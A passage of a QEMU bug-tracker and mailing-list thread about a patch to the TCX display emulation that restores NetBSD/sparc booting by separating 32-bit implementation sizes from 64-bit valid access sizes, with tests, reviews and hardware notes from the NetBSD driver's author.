implementation is 32-bit, so fill the 'impl' fields. + +[1] http://web.archive.org/web/20111209011516/http://wikis.sun.com/display/FOSSdocs/Home +[2] http://cvsweb.netbsd.org/bsdweb.cgi/src/sys/dev/sbus/tcx.c.diff?r1=1.31&r2=1.32 + +Reported-by: Andreas Gustafsson <email address hidden> +Buglink: https://bugs.launchpad.net/bugs/1892540 +Fixes: 55d7bfe2293 ("tcx: Implement hardware acceleration") +Signed-off-by: Philippe Mathieu-Daudé <email address hidden> +--- + hw/display/tcx.c | 18 +++++++++++++++--- + 1 file changed, 15 insertions(+), 3 deletions(-) + +diff --git a/hw/display/tcx.c b/hw/display/tcx.c +index 1fb45b1aab8..96c6898b149 100644 +--- a/hw/display/tcx.c ++++ b/hw/display/tcx.c +@@ -548,20 +548,28 @@ static const MemoryRegionOps tcx_stip_ops = { + .read = tcx_stip_readl, + .write = tcx_stip_writel, + .endianness = DEVICE_NATIVE_ENDIAN, +- .valid = { ++ .impl = { + .min_access_size = 4, + .max_access_size = 4, + }, ++ .valid = { ++ .min_access_size = 4, ++ .max_access_size = 8, ++ }, + }; + + static const MemoryRegionOps tcx_rstip_ops = { + .read = tcx_stip_readl, + .write = tcx_rstip_writel, + .endianness = DEVICE_NATIVE_ENDIAN, +- .valid = { ++ .impl = { + .min_access_size = 4, + .max_access_size = 4, + }, ++ .valid = { ++ .min_access_size = 4, ++ .max_access_size = 8, ++ }, + }; + + static uint64_t tcx_blit_readl(void *opaque, hwaddr addr, +@@ -650,10 +658,14 @@ static const MemoryRegionOps tcx_rblit_ops = { + .read = tcx_blit_readl, + .write = tcx_rblit_writel, + .endianness = DEVICE_NATIVE_ENDIAN, +- .valid = { ++ .impl = { + .min_access_size = 4, + .max_access_size = 4, + }, ++ .valid = { ++ .min_access_size = 4, ++ .max_access_size = 8, ++ }, + }; + + static void tcx_invalidate_cursor_position(TCXState *s) +-- +2.26.2 + + + +The S24/TCX datasheet is listed as "Unable to locate" on [1]. + +However the NetBSD revision 1.32 of the driver introduced +64-bit accesses to the stippler and blitter [2]. It is safe +to assume these memory regions are 64-bit accessible. +QEMU implementation is 32-bit, so fill the 'impl' fields. + +[1] http://web.archive.org/web/20111209011516/http://wikis.sun.com/display/FOSSdocs/Home +[2] http://cvsweb.netbsd.org/bsdweb.cgi/src/sys/dev/sbus/tcx.c.diff?r1=1.31&r2=1.32 + +Reported-by: Andreas Gustafsson <email address hidden> +Buglink: https://bugs.launchpad.net/bugs/1892540 +Fixes: 55d7bfe2293 ("tcx: Implement hardware acceleration") +Signed-off-by: Philippe Mathieu-Daudé <email address hidden> +--- +Since v1: +- added missing uncommitted staged changes... (tcx_blit_ops) +--- + hw/display/tcx.c | 18 +++++++++++++++--- + 1 file changed, 15 insertions(+), 3 deletions(-) + +diff --git a/hw/display/tcx.c b/hw/display/tcx.c +index 1fb45b1aab8..96c6898b149 100644 +--- a/hw/display/tcx.c ++++ b/hw/display/tcx.c +@@ -548,20 +548,28 @@ static const MemoryRegionOps tcx_stip_ops = { + .read = tcx_stip_readl, + .write = tcx_stip_writel, + .endianness = DEVICE_NATIVE_ENDIAN, +- .valid = { ++ .impl = { + .min_access_size = 4, + .max_access_size = 4, + }, ++ .valid = { ++ .min_access_size = 4, ++ .max_access_size = 8, ++ }, + }; + + static const MemoryRegionOps tcx_rstip_ops = { + .read = tcx_stip_readl, + .write = tcx_rstip_writel, + .endianness = DEVICE_NATIVE_ENDIAN, +- .valid = { ++ .impl = { + .min_access_size = 4, + .max_access_size = 4, + }, ++ .valid = { ++ .min_access_size = 4, ++ .max_access_size = 8, ++ }, + }; + + static uint64_t tcx_blit_readl(void *opaque, hwaddr addr, +@@ -650,10 +658,14 @@ static const MemoryRegionOps tcx_rblit_ops = { + .read = tcx_blit_readl, + .write = tcx_rblit_writel, + .endianness = DEVICE_NATIVE_ENDIAN, +- .valid = { ++ .impl = { + .min_access_size = 4, + .max_access_size = 4, + }, ++ .valid = { ++ .min_access_size = 4, ++ .max_access_size = 8, ++ }, + }; + + static void tcx_invalidate_cursor_position(TCXState *s) +-- +2.26.2 + + + +Le sam. 29 août 2020 18:14, Michael <email address hidden> a écrit : + +> Hello, +> +> since I wrote the NetBSD code in question, here are my 2 cent: +> +> On Sat, 29 Aug 2020 08:41:43 -0700 +> Richard Henderson <email address hidden> wrote: +> +> > On 8/22/20 7:21 AM, Philippe Mathieu-Daudé wrote: +> > > The S24/TCX datasheet is listed as "Unable to locate" on [1]. +> +> I don't have it either, but someone did a lot of reverse engineering +> and gave me his notes. The hardware isn't that complicated, but quite +> weird. +> +> > > However the NetBSD revision 1.32 of the driver introduced +> > > 64-bit accesses to the stippler and blitter [2]. It is safe +> > > to assume these memory regions are 64-bit accessible. +> > > QEMU implementation is 32-bit, so fill the 'impl' fields. +> +> IIRC the real hardware *requires* 64bit accesses for stipple and +> blitter operations to work. For stipples you write a 64bit word into +> STIP space, the address defines where in the framebuffer you want to +> draw, the data contain a 32bit bitmask, foreground colour and a ROP. +> BLIT space works similarly, the 64bit word contains an offset were to +> read pixels from, and how many you want to copy. +> + +Thanks Michael for this information! +If you don't mind I'll amend it to the commit description so there is a +reference for posterity. + +I'm waiting for *Andreas Gustafsson to test it then will repost.* + + +> have fun +> Michael +> + + +On Sat, Aug 22, 2020 at 02:21:27PM -0000, Philippe Mathieu-Daudé wrote: +> The S24/TCX datasheet is listed as "Unable to locate" on [1]. +> +> However the NetBSD revision 1.32 of the driver introduced +> 64-bit accesses to the stippler and blitter [2]. It is safe +> to assume these memory regions are 64-bit accessible. +> QEMU implementation is 32-bit, so fill the 'impl' fields. +> +> [1] http://web.archive.org/web/20111209011516/http://wikis.sun.com/display/FOSSdocs/Home +> [2] http://cvsweb.netbsd.org/bsdweb.cgi/src/sys/dev/sbus/tcx.c.diff?r1=1.31&r2=1.32 +> +> Reported-by: Andreas Gustafsson <email address hidden> +> Buglink: https://bugs.launchpad.net/bugs/1892540 +> Fixes: 55d7bfe2293 ("tcx: Implement hardware acceleration") +> Signed-off-by: Philippe Mathieu-Daudé <email address hidden> + +Philippe, did you submit the patch on the mailing list +normally too? I don't seem to see it there. + +the patch seems to work for me: + +Tested-by: Michael S. Tsirkin <email address hidden> + + +CC Nathan who reported a similar failure. + +Nathan, does the patch below fix the issue for you? + +> --- +> Since v1: +> - added missing uncommitted staged changes... (tcx_blit_ops) +> --- + hw/display/tcx.c | 18 +++++++++++++++--- + 1 file changed, 15 insertions(+), 3 deletions(-) + +diff --git a/hw/display/tcx.c b/hw/display/tcx.c +index 1fb45b1aab8..96c6898b149 100644 +--- a/hw/display/tcx.c ++++ b/hw/display/tcx.c +@@ -548,20 +548,28 @@ static const MemoryRegionOps tcx_stip_ops = { + .read = tcx_stip_readl, + .write = tcx_stip_writel, + .endianness = DEVICE_NATIVE_ENDIAN, +- .valid = { ++ .impl = { + .min_access_size = 4, + .max_access_size = 4, + }, ++ .valid = { ++ .min_access_size = 4, ++ .max_access_size = 8, ++ }, + }; + + static const MemoryRegionOps tcx_rstip_ops = { + .read = tcx_stip_readl, + .write = tcx_rstip_writel, + .endianness = DEVICE_NATIVE_ENDIAN, +- .valid = { ++ .impl = { + .min_access_size = 4, + .max_access_size = 4, + }, ++ .valid = { ++ .min_access_size = 4, ++ .max_access_size = 8, ++ }, + }; + + static uint64_t tcx_blit_readl(void *opaque, hwaddr addr, +@@ -650,10 +658,14 @@ static const MemoryRegionOps tcx_rblit_ops = { + .read = tcx_blit_readl, + .write = tcx_rblit_writel, + .endianness = DEVICE_NATIVE_ENDIAN, +- .valid = { ++ .impl = { + .min_access_size = 4, + .max_access_size = 4, + }, ++ .valid = { ++ .min_access_size = 4, ++ .max_access_size = 8, ++ }, + }; + + static void tcx_invalidate_cursor_position(TCXState *s) + + +----------------------------------------------------------- + +I think you shouldn't specify .min_access_size in impl, since +that also allows 1 and 2 byte accesses from guest. + + + +> -- +> 2.26.2 +> +> -- +> You received this bug notification because you are subscribed to the bug +> report. +> https://bugs.launchpad.net/bugs/1892540 +> +> Title: +> qemu can no longer boot NetBSD/sparc +> +> Status in QEMU: +> New +> +> Bug description: +> Booting NetBSD/sparc in qemu no longer works. It broke between qemu +> version 5.0.0 and 5.1.0, and a bisection identified the following as +> the offending commit: +> +> [5d971f9e672507210e77d020d89e0e89165c8fc9] memory: Revert "memory: +> accept mismatching sizes in memory_region_access_valid" +> +> It's still broken as of 7fd51e68c34fcefdb4d6fd646ed3346f780f89f4. +> +> To reproduce, run +> +> wget http://ftp.netbsd.org/pub/NetBSD/NetBSD-9.0/images/NetBSD-9.0-sparc.iso +> qemu-system-sparc -nographic -cdrom NetBSD-9.0-sparc.iso -boot d +> +> The expected behavior is that the guest boots to the prompt +> +> Installation medium to load the additional utilities from: +> +> The observed behavior is a panic: +> +> [ 1.0000050] system[0]: trap 0x29: pc=0xf0046b14 sfsr=0xb6 sfva=0x54000000 +> [ 1.0000050] cpu0: data fault: pc=0xf0046b14 addr=0x54000000 sfsr=0xb6<PERR=0x0,LVL=0x0,AT=0x5,FT=0x5,FAV,OW> +> [ 1.0000050] panic: kernel fault +> [ 1.0000050] halted +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1892540/+subscriptions + + + +Philippe Mathieu-Daudé wrote: +> diff --git a/hw/display/tcx.c b/hw/display/tcx.c +> index 1fb45b1aab8..96c6898b149 100644 + +With this patch, the kernel boots successfully for me. +-- +Andreas Gustafsson, <email address hidden> + + +On 29/08/2020 17:45, Philippe Mathieu-Daudé wrote: + +> Le sam. 29 août 2020 18:14, Michael <<email address hidden> +> <mailto:<email address hidden>>> a écrit : +> +> Hello, +> +> since I wrote the NetBSD code in question, here are my 2 cent: +> +> On Sat, 29 Aug 2020 08:41:43 -0700 +> Richard Henderson <<email address hidden> +> <mailto:<email address hidden>>> wrote: +> +> > On 8/22/20 7:21 AM, Philippe Mathieu-Daudé wrote: +> > > The S24/TCX datasheet is listed as "Unable to locate" on [1]. +> +> I don't have it either, but someone did a lot of reverse engineering +> and gave me his notes. The hardware isn't that complicated, but quite +> weird. +> +> > > However the NetBSD revision 1.32 of the driver introduced +> > > 64-bit accesses to the stippler and blitter [2]. It is safe +> > > to assume these memory regions are 64-bit accessible. +> > > QEMU implementation is 32-bit, so fill the 'impl' fields. +> +> IIRC the real hardware *requires* 64bit accesses for stipple and +> blitter operations to work. For stipples you write a 64bit word into +> STIP space, the address defines where in the framebuffer you want to +> draw, the data contain a 32bit bitmask, foreground colour and a ROP. +> BLIT space works similarly, the 64bit word contains an offset were to +> read pixels from, and how many you want to copy. +> +> +> Thanks Michael for this information! +> If you don't mind I'll amend it to the commit description so there is a reference for +> posterity. +> +> I'm waiting for /Andreas Gustafsson to test it then will repost. + +Hi Philippe, + +Thanks for coming up with this patch! Looks fine to me, just wondering if it should +have a "Fixes: 5d971f9e67 ("memory: Revert "memory: accept mismatching sizes in +memory_region_access_valid"") tag rather than the original commit since that's how +other bugs exposed by that commit have been tagged? + + +ATB, + +Mark. + + +On 8/30/20 8:59 AM, Andreas Gustafsson wrote: +> Philippe Mathieu-Daudé wrote: +>> diff --git a/hw/display/tcx.c b/hw/display/tcx.c +>> index 1fb45b1aab8..96c6898b149 100644 +> +> With this patch, the kernel boots successfully for me. + +Thanks, can I add "Tested-by: Andreas Gustafsson <email address hidden>" +to the patch? + + +On 8/30/20 8:18 AM, <email address hidden> wrote: +> On Sat, Aug 22, 2020 at 02:21:27PM -0000, Philippe Mathieu-Daudé wrote: +>> The S24/TCX datasheet is listed as "Unable to locate" on [1]. +>> +>> However the NetBSD revision 1.32 of the driver introduced +>> 64-bit accesses to the stippler and blitter [2]. It is safe +>> to assume these memory regions are 64-bit accessible. +>> QEMU implementation is 32-bit, so fill the 'impl' fields. +>> +>> [1] http://web.archive.org/web/20111209011516/http://wikis.sun.com/display/FOSSdocs/Home +>> [2] http://cvsweb.netbsd.org/bsdweb.cgi/src/sys/dev/sbus/tcx.c.diff?r1=1.31&r2=1.32 +>> +>> Reported-by: Andreas Gustafsson <email address hidden> +>> Buglink: https://bugs.launchpad.net/bugs/1892540 +>> Fixes: 55d7bfe2293 ("tcx: Implement hardware acceleration") +>> Signed-off-by: Philippe Mathieu-Daudé <email address hidden> +> +> Philippe, did you submit the patch on the mailing list +> normally too? I don't seem to see it there. + +Yes, Message-id: <email address hidden> +https://<email address hidden>/msg732515.html + +> +> the patch seems to work for me: +> +> Tested-by: Michael S. Tsirkin <email address hidden> + +Thanks! + +> +> +> CC Nathan who reported a similar failure. +> +> Nathan, does the patch below fix the issue for you? +> +>> --- +>> Since v1: +>> - added missing uncommitted staged changes... (tcx_blit_ops) +>> --- +> hw/display/tcx.c | 18 +++++++++++++++--- +> 1 file changed, 15 insertions(+), 3 deletions(-) +> +> diff --git a/hw/display/tcx.c b/hw/display/tcx.c +> index 1fb45b1aab8..96c6898b149 100644 +> --- a/hw/display/tcx.c +> +++ b/hw/display/tcx.c +> @@ -548,20 +548,28 @@ static const MemoryRegionOps tcx_stip_ops = { +> .read = tcx_stip_readl, +> .write = tcx_stip_writel, +> .endianness = DEVICE_NATIVE_ENDIAN, +> - .valid = { +> + .impl = { +> .min_access_size = 4, +> .max_access_size = 4, +> }, +> + .valid = { +> + .min_access_size = 4, +> + .max_access_size = 8, +> + }, +> }; +> +> static const MemoryRegionOps tcx_rstip_ops = { +> .read = tcx_stip_readl, +> .write = tcx_rstip_writel, +> .endianness = DEVICE_NATIVE_ENDIAN, +> - .valid = { +> + .impl = { +> .min_access_size = 4, +> .max_access_size = 4, +> }, +> + .valid = { +> + .min_access_size = 4, +> + .max_access_size = 8, +> + }, +> }; +> +> static uint64_t tcx_blit_readl(void *opaque, hwaddr addr, +> @@ -650,10 +658,14 @@ static const MemoryRegionOps tcx_rblit_ops = { +> .read = tcx_blit_readl, +> .write = tcx_rblit_writel, +> .endianness = DEVICE_NATIVE_ENDIAN, +> - .valid = { +> + .impl = { +> .min_access_size = 4, +> .max_access_size = 4, +> }, +> + .valid = { +> + .min_access_size = 4, +> + .max_access_size = 8, +> + }, +> }; +> +> static void tcx_invalidate_cursor_position(TCXState *s) +> +> +> ----------------------------------------------------------- +> +> I think you shouldn't specify .min_access_size in impl, since +> that also allows 1 and 2 byte accesses from guest. +> +> +> +>> -- +>> 2.26.2 +>> +>> -- +>> You received this bug notification because you are subscribed to the bug +>> report. +>> https://bugs.launchpad.net/bugs/1892540 +>> +>> Title: +>> qemu can no longer boot NetBSD/sparc +>> +>> Status in QEMU: +>> New +>> +>> Bug description: +>> Booting NetBSD/sparc in qemu no longer works. It broke between qemu +>> version 5.0.0 and 5.1.0, and a bisection identified the following as +>> the offending commit: +>> +>> [5d971f9e672507210e77d020d89e0e89165c8fc9] memory: Revert "memory: +>> accept mismatching sizes in memory_region_access_valid" +>> +>> It's still broken as of 7fd51e68c34fcefdb4d6fd646ed3346f780f89f4. +>> +>> To reproduce, run +>> +>> wget http://ftp.netbsd.org/pub/NetBSD/NetBSD-9.0/images/NetBSD-9.0-sparc.iso +>> qemu-system-sparc -nographic -cdrom NetBSD-9.0-sparc.iso -boot d +>> +>> The expected behavior is that the guest boots to the prompt +>> +>> Installation medium to load the additional utilities from: +>> +>> The observed behavior is a panic: +>> +>> [ 1.0000050] system[0]: trap 0x29: pc=0xf0046b14 sfsr=0xb6 sfva=0x54000000 +>> [ 1.0000050] cpu0: data fault: pc=0xf0046b14 addr=0x54000000 sfsr=0xb6<PERR=0x0,LVL=0x0,AT=0x5,FT=0x5,FAV,OW> +>> [ 1.0000050] panic: kernel fault +>> [ 1.0000050] halted +>> +>> To manage notifications about this bug go to: +>> https://bugs.launchpad.net/qemu/+bug/1892540/+subscriptions +> +> + + + +Philippe Mathieu-Daudé wrote: +> Thanks, can I add "Tested-by: Andreas Gustafsson <email address hidden>" +> to the patch? + +Fine by me. +-- +Andreas Gustafsson, <email address hidden> + + +On 01/09/2020 11:04, Andreas Gustafsson wrote: + +> Philippe Mathieu-Daudé wrote: +>> Thanks, can I add "Tested-by: Andreas Gustafsson <email address hidden>" +>> to the patch? +> +> Fine by me. + +I've added the above Tested-by tag (and also that from MST) and applied this to my +qemu-sparc branch. + + +ATB, + +Mark. + + +The S24/TCX datasheet is listed as "Unable to locate" on [1]. + +However the NetBSD revision 1.32 of the driver introduced +64-bit accesses to the stippler and blitter [2]. It is safe +to assume these memory regions are 64-bit accessible. +QEMU implementation is 32-bit, so fill the 'impl' fields. + +Michael Lorenz (author of the NetBSD code [2]) provided us with more +information in [3]: + +> IIRC the real hardware *requires* 64bit accesses for stipple and +> blitter operations to work. For stipples you write a 64bit word into +> STIP space, the address defines where in the framebuffer you want to +> draw, the data contain a 32bit bitmask, foreground colour and a ROP. +> BLIT space works similarly, the 64bit word contains an offset were to +> read pixels from, and how many you want to copy. +> +> One more thing since there seems to be some confusion - 64bit accesses +> on the framebuffer are fine as well. TCX/S24 is *not* an SBus device, +> even though its node says it is. +> S24 is a card that plugs into a special slot on the SS5 mainboard, +> which is shared with an SBus slot and looks a lot like a horizontal +> UPA slot. Both S24 and TCX are accessed through the Micro/TurboSPARC's +> AFX bus which is 64bit wide and intended for graphics. +> Early FFB docs even mentioned connecting to both AFX and UPA, +> no idea if that was ever realized in hardware though. + +[1] http://web.archive.org/web/20111209011516/http://wikis.sun.com/display/FOSSdocs/Home +[2] http://cvsweb.netbsd.org/bsdweb.cgi/src/sys/dev/sbus/tcx.c.diff?r1=1.31&r2=1.32 +[3] https://<email address hidden>/msg734928.html + +Reported-by: Andreas Gustafsson <email address hidden> +Buglink: https://bugs.launchpad.net/bugs/1892540 +Fixes: 55d7bfe2293 ("tcx: Implement hardware acceleration") +Tested-by: Michael S. Tsirkin <email address hidden> +Reviewed-by: Richard Henderson <email address hidden> +Tested-by: Andreas Gustafsson <email address hidden> +Signed-off-by: Philippe Mathieu-Daudé <email address hidden> +--- +Since v2: +- added Michael's memories +- added R-b/T-b tags + +Since v1: +- added missing uncommitted staged changes... (tcx_blit_ops) +--- + hw/display/tcx.c | 18 +++++++++++++++--- + 1 file changed, 15 insertions(+), 3 deletions(-) + +diff --git a/hw/display/tcx.c b/hw/display/tcx.c +index c9d5e45cd1f..878ecc8c506 100644 +--- a/hw/display/tcx.c ++++ b/hw/display/tcx.c +@@ -549,20 +549,28 @@ static const MemoryRegionOps tcx_stip_ops = { + .read = tcx_stip_readl, + .write = tcx_stip_writel, + .endianness = DEVICE_NATIVE_ENDIAN, +- .valid = { ++ .impl = { + .min_access_size = 4, + .max_access_size = 4, + }, ++ .valid = { ++ .min_access_size = 4, ++ .max_access_size = 8, ++ }, + }; + + static const MemoryRegionOps tcx_rstip_ops = { + .read = tcx_stip_readl, + .write = tcx_rstip_writel, + .endianness = DEVICE_NATIVE_ENDIAN, +- .valid = { ++ .impl = { + .min_access_size = 4, + .max_access_size = 4, + }, ++ .valid = { ++ .min_access_size = 4, ++ .max_access_size = 8, ++ }, + }; + + static uint64_t tcx_blit_readl(void *opaque, hwaddr addr, +@@ -651,10 +659,14 @@ static const MemoryRegionOps tcx_rblit_ops = { + .read = tcx_blit_readl, + .write = tcx_rblit_writel, + .endianness = DEVICE_NATIVE_ENDIAN, +- .valid = { ++ .impl = { + .min_access_size = 4, + .max_access_size = 4, + }, ++ .valid = { ++ .min_access_size = 4, ++ .max_access_size = 8, ++ }, + }; + + static void tcx_invalidate_cursor_position(TCXState *s) +-- +2.26.2 + + + +On 8/30/20 9:32 AM, Mark Cave-Ayland wrote: +> On 29/08/2020 17:45, Philippe Mathieu-Daudé wrote: +> +>> Le sam. 29 août 2020 18:14, Michael <<email address hidden> +>> <mailto:<email address hidden>>> a écrit : +>> +>> Hello, +>> +>> since I wrote the NetBSD code in question, here are my 2 cent: +>> +>> On Sat, 29 Aug 2020 08:41:43 -0700 +>> Richard Henderson <<email address hidden> +>> <mailto:<email address hidden>>> wrote: +>> +>> > On 8/22/20 7:21 AM, Philippe Mathieu-Daudé wrote: +>> > > The S24/TCX datasheet is listed as "Unable to locate" on [1]. +>> +>> I don't have it either, but someone did a lot of reverse engineering +>> and gave me his notes. The hardware isn't that complicated, but quite +>> weird. +>> +>> > > However the NetBSD revision 1.32 of the driver introduced +>> > > 64-bit accesses to the stippler and blitter [2]. It is safe +>> > > to assume these memory regions are 64-bit accessible. +>> > > QEMU implementation is 32-bit, so fill the 'impl' fields. +>> +>> IIRC the real hardware *requires* 64bit accesses for stipple and +>> blitter operations to work. For stipples you write a 64bit word into +>> STIP space, the address defines where in the framebuffer you want to +>> draw, the data contain a 32bit bitmask, foreground colour and a ROP. +>> BLIT space works similarly, the 64bit word contains an offset were to +>> read pixels from, and how many you want to copy. +>> +>> +>> Thanks Michael for this information! +>> If you don't mind I'll amend it to the commit description so there is a reference for +>> posterity. +>> +>> I'm waiting for /Andreas Gustafsson to test it then will repost. +> +> Hi Philippe, +> +> Thanks for coming up with this patch! Looks fine to me, just wondering if it should +> have a "Fixes: 5d971f9e67 ("memory: Revert "memory: accept mismatching sizes in +> memory_region_access_valid"") tag rather than the original commit since that's how +> other bugs exposed by that commit have been tagged? + +I don't think so, the bug was present (hidden) *before* 5d971f9e67 and +we were incorrectly modelling it. I just posted a v3 including Michael +valuable memories :) + +> +> +> ATB, +> +> Mark. +> + + +On 24/10/2020 21:51, Philippe Mathieu-Daudé wrote: + +> The S24/TCX datasheet is listed as "Unable to locate" on [1]. +> +> However the NetBSD revision 1.32 of the driver introduced +> 64-bit accesses to the stippler and blitter [2]. It is safe +> to assume these memory regions are 64-bit accessible. +> QEMU implementation is 32-bit, so fill the 'impl' fields. +> +> Michael Lorenz (author of the NetBSD code [2]) provided us with more +> information in [3]: +> +>> IIRC the real hardware *requires* 64bit accesses for stipple and +>> blitter operations to work. For stipples you write a 64bit word into +>> STIP space, the address defines where in the framebuffer you want to +>> draw, the data contain a 32bit bitmask, foreground colour and a ROP. +>> BLIT space works similarly, the 64bit word contains an offset were to +>> read pixels from, and how many you want to copy. +>> +>> One more thing since there seems to be some confusion - 64bit accesses +>> on the framebuffer are fine as well. TCX/S24 is *not* an SBus device, +>> even though its node says it is. +>> S24 is a card that plugs into a special slot on the SS5 mainboard, +>> which is shared with an SBus slot and looks a lot like a horizontal +>> UPA slot. Both S24 and TCX are accessed through the Micro/TurboSPARC's +>> AFX bus which is 64bit wide and intended for graphics. +>> Early FFB docs even mentioned connecting to both AFX and UPA, +>> no idea if that was ever realized in hardware though. +> +> [1] http://web.archive.org/web/20111209011516/http://wikis.sun.com/display/FOSSdocs/Home +> [2] http://cvsweb.netbsd.org/bsdweb.cgi/src/sys/dev/sbus/tcx.c.diff?r1=1.31&r2=1.32 +> [3] https://<email address hidden>/msg734928.html +> +> Reported-by: Andreas Gustafsson <email address hidden> +> Buglink: https://bugs.launchpad.net/bugs/1892540 +> Fixes: 55d7bfe2293 ("tcx: Implement hardware acceleration") +> Tested-by: Michael S. Tsirkin <email address hidden> +> Reviewed-by: Richard Henderson <email address hidden> +> Tested-by: Andreas Gustafsson <email address hidden> +> Signed-off-by: Philippe Mathieu-Daudé <email address hidden> +> --- +> Since v2: +> - added Michael's memories +> - added R-b/T-b tags +> +> Since v1: +> - added missing uncommitted staged changes... (tcx_blit_ops) +> --- +> hw/display/tcx.c | 18 +++++++++++++++--- +> 1 file changed, 15 insertions(+), 3 deletions(-) +> +> diff --git a/hw/display/tcx.c b/hw/display/tcx.c +> index c9d5e45cd1f..878ecc8c506 100644 +> --- a/hw/display/tcx.c +> +++ b/hw/display/tcx.c +> @@ -549,20 +549,28 @@ static const MemoryRegionOps tcx_stip_ops = { +> .read = tcx_stip_readl, +> .write = tcx_stip_writel, +> .endianness = DEVICE_NATIVE_ENDIAN, +> - .valid = { +> + .impl = { +> .min_access_size = 4, +> .max_access_size = 4, +> }, +> + .valid = { +> + .min_access_size = 4, +> + .max_access_size = 8, +> + }, +> }; +> +> static const MemoryRegionOps tcx_rstip_ops = { +> .read = tcx_stip_readl, +> .write = tcx_rstip_writel, +> .endianness = DEVICE_NATIVE_ENDIAN, +> - .valid = { +> + .impl = { +> .min_access_size = 4, +> .max_access_size = 4, +> }, +> + .valid = { +> + .min_access_size = 4, +> + .max_access_size = 8, +> + }, +> }; +> +> static uint64_t tcx_blit_readl(void *opaque, hwaddr addr, +> @@ -651,10 +659,14 @@ static const MemoryRegionOps tcx_rblit_ops = { +> .read = tcx_blit_readl, +> .write = tcx_rblit_writel, +> .endianness = DEVICE_NATIVE_ENDIAN, +> - .valid = { +> + .impl = { +> .min_access_size = 4, +> .max_access_size = 4, +> }, +> + .valid = { +> + .min_access_size = 4, +> + .max_access_size = 8, +> + }, +> }; +> +> static void tcx_invalidate_cursor_position(TCXState *s) + +I'd already queued v2 of this patch (see my earlier email) with the intent to send a +PR today, however I'll replace it with this v3 instead. + + +ATB, + +Mark. + + +On 10/25/20 11:55 AM, Mark Cave-Ayland wrote: +> On 24/10/2020 21:51, Philippe Mathieu-Daudé wrote: +> +>> The S24/TCX datasheet is listed as "Unable to locate" on [1]. +>> +>> However the NetBSD revision 1.32 of the driver introduced +>> 64-bit accesses to the stippler and blitter [2]. It is safe +>> to assume these memory regions are 64-bit accessible. +>> QEMU implementation is 32-bit, so fill the 'impl' fields. +>> +>> Michael Lorenz (author of the NetBSD code [2]) provided us with more +>> information in [3]: +>> +>>> IIRC the real hardware *requires* 64bit accesses for stipple and +>>> blitter operations to work. For stipples you write a 64bit word into +>>> STIP space, the address defines where in the framebuffer you want to +>>> draw, the data contain a 32bit bitmask, foreground colour and a ROP. +>>> BLIT space works similarly, the 64bit word contains an offset were to +>>> read pixels from, and how many you want to copy. +>>> +>>> One more thing since there seems to be some confusion - 64bit accesses +>>> on the framebuffer are fine as well. TCX/S24 is *not* an SBus device, +>>> even though its node says it is. +>>> S24 is a card that plugs into a special slot on the SS5 mainboard, +>>> which is shared with an SBus slot and looks a lot like a horizontal +>>> UPA slot. Both S24 and TCX are accessed through the Micro/TurboSPARC's +>>> AFX bus which is 64bit wide and intended for graphics. +>>> Early FFB docs even mentioned connecting to both AFX and UPA, +>>> no idea if that was ever realized in hardware though. +>> +>> [1] +>> http://web.archive.org/web/20111209011516/http://wikis.sun.com/display/FOSSdocs/Home +>> +>> [2] +>> http://cvsweb.netbsd.org/bsdweb.cgi/src/sys/dev/sbus/tcx.c.diff?r1=1.31&r2=1.32 +>> +>> [3] https://<email address hidden>/msg734928.html +>> +>> Reported-by: Andreas Gustafsson <email address hidden> +>> Buglink: https://bugs.launchpad.net/bugs/1892540 +>> Fixes: 55d7bfe2293 ("tcx: Implement hardware acceleration") +>> Tested-by: Michael S. Tsirkin <email address hidden> +>> Reviewed-by: Richard Henderson <email address hidden> +>> Tested-by: Andreas Gustafsson <email address hidden> +>> Signed-off-by: Philippe Mathieu-Daudé <email address hidden> +>> --- +>> Since v2: +>> - added Michael's memories +>> - added R-b/T-b tags +>> +>> Since v1: +>> - added missing uncommitted staged changes... (tcx_blit_ops) +>> --- +>> hw/display/tcx.c | 18 +++++++++++++++--- +>> 1 file changed, 15 insertions(+), 3 deletions(-) +>> +>> diff --git a/hw/display/tcx.c b/hw/display/tcx.c +>> index c9d5e45cd1f..878ecc8c506 100644 +>> --- a/hw/display/tcx.c +>> +++ b/hw/display/tcx.c +>> @@ -549,20 +549,28 @@ static const MemoryRegionOps tcx_stip_ops = { +>> .read = tcx_stip_readl, +>> .write = tcx_stip_writel, +>> .endianness = DEVICE_NATIVE_ENDIAN, +>> - .valid = { +>> + .impl = { +>> .min_access_size = 4, +>> .max_access_size = 4, +>> }, +>> + .valid = { +>> + .min_access_size = 4, +>> + .max_access_size = 8, +>> + }, +>> }; +>> static const MemoryRegionOps tcx_rstip_ops = { +>> .read = tcx_stip_readl, +>> .write = tcx_rstip_writel, +>> .endianness = DEVICE_NATIVE_ENDIAN, +>> - .valid = { +>> + .impl = { +>> .min_access_size = 4, +>> .max_access_size = 4, +>> }, +>> + .valid = { +>> + .min_access_size = 4, +>> + .max_access_size = 8, +>> + }, +>> }; +>> static uint64_t tcx_blit_readl(void *opaque, hwaddr addr, +>> @@ -651,10 +659,14 @@ static const MemoryRegionOps tcx_rblit_ops = { +>> .read = tcx_blit_readl, +>> .write = tcx_rblit_writel, +>> .endianness = DEVICE_NATIVE_ENDIAN, +>> - .valid = { +>> + .impl = { +>> .min_access_size = 4, +>> .max_access_size = 4, +>> }, +>> + .valid = { +>> + .min_access_size = 4, +>> + .max_access_size = 8, +>> + }, +>> }; +>> static void tcx_invalidate_cursor_position(TCXState *s) +> +> I'd already queued v2 of this patch (see my earlier email) with the +> intent to send a PR today, however I'll replace it with this v3 instead. + +Thanks! Since there is no code change with v2, I assumed it wouldn't be +a problem to replace it, without having to re-run your tests. + +> +> +> ATB, +> +> Mark. +> + + +From: Philippe Mathieu-Daudé <email address hidden> + +The S24/TCX datasheet is listed as "Unable to locate" on [1]. + +However the NetBSD revision 1.32 of the driver introduced +64-bit accesses to the stippler and blitter [2]. It is safe +to assume these memory regions are 64-bit accessible. +QEMU implementation is 32-bit, so fill the 'impl' fields. + +Michael Lorenz (author of the NetBSD code [2]) provided us with more +information in [3]: + +> IIRC the real hardware *requires* 64bit accesses for stipple and +> blitter operations to work. For stipples you write a 64bit word into +> STIP space, the address defines where in the framebuffer you want to +> draw, the data contain a 32bit bitmask, foreground colour and a ROP. +> BLIT space works similarly, the 64bit word contains an offset were to +> read pixels from, and how many you want to copy. +> +> One more thing since there seems to be some confusion - 64bit accesses +> on the framebuffer are fine as well. TCX/S24 is *not* an SBus device, +> even though its node says it is. +> S24 is a card that plugs into a special slot on the SS5 mainboard, +> which is shared with an SBus slot and looks a lot like a horizontal +> UPA slot. Both S24 and 